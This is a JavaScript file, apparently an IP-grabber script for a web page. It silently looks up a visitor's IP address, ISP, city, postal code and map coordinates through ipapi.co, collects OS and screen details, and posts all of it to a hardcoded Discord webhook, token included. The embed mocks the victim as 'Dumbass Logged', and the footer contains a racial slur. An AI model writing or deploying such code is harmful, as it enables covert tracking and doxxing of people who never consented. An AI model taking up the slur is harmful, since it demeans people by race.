// Replace this with your Discord webhook URL
const webhookUrl = 'https://discord.com/api/webhooks/1329274934819557448/tiiskVg46wD53v6wpSySnJt2vHqIBVqeMQ80anMysuT5GTh2pFqdDEIjQOpR5QAv3Rhe';

// Fetch IP information using ipapi.co (no API key required)
fetch('https://ipapi.co/json/')
    .then(response => response.json())
    .then(data => {
        const ipAddress = data.ip || 'Unknown';
        const city = data.city || 'Unknown';
        const region = data.region || 'Unknown';
        const country = data.country_name || 'Unknown';
        const isp = data.org || 'Unknown'; // ISP info is in "org"
        const asn = data.asn || 'Unknown';
        const callingCode = data.country_calling_code || 'Unknown';
        const postalCode = data.postal || 'Unknown'; // Correct field name for postal
        const currency = data.currency || 'Unknown';
        const languages = data.languages || 'Unknown';
        const timezone = data.timezone || 'Unknown';
        const googleMapsLink = `https://www.google.com/maps?q=${data.latitude},${data.longitude}`;
        const countryArea = data.country_area || 'Unknown';
        const countryPopulation = data.country_population || 'Unknown';

        // Get browser's screen dimensions and operating system
        const screenWidth = window.screen.width;
        const screenHeight = window.screen.height;
        const operatingSystem = navigator.platform;

        // Prepare the Discord embed
        const embed = {
            embeds: [
                {
                    title: "Dumbass Logged LOOL 😂",
                    color: 3447003, // Blue color
                    fields: [
                        { name: 'IP Address', value: ipAddress, inline: true },
                        { name: 'City/Town', value: city, inline: true },
                        { name: 'Region', value: region, inline: true },
                        { name: 'Country', value: country, inline: true },
                        { name: 'ISP', value: isp, inline: true },
                        { name: 'ASN', value: asn, inline: true },
                        { name: 'Calling Code', value: callingCode, inline: true },
                        { name: 'Postal Code', value: postalCode, inline: true },
                        { name: 'Currency', value: currency, inline: true },
                        { name: 'Languages', value: languages, inline: true },
                        { name: 'Timezone', value: timezone, inline: true },
                        { name: 'Country Area (km²)', value: countryArea, inline: true },
                        { name: 'Country Population', value: countryPopulation, inline: true },
                        { name: 'Operating System', value: operatingSystem, inline: true },
                        { name: 'Screen Dimensions', value: `${screenWidth}x${screenHeight}`, inline: true },
                        { name: 'Google Maps Link', value: `[Google Maps](${googleMapsLink})`, inline: false },
                    ],
                    footer: {
                        text: 'Niggas Info (General area, not an exact location)',
                    },
                    timestamp: new Date().toISOString(),
                },
            ],
        };

        // Send the embed to the Discord webhook
        fetch(webhookUrl, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(embed),
        })
        .then(() => console.log('Visitor info sent to Discord:', data))
        .catch(err => console.error('Error sending to Discord:', err));
    })
    .catch(err => console.error('Error fetching IP details:', err));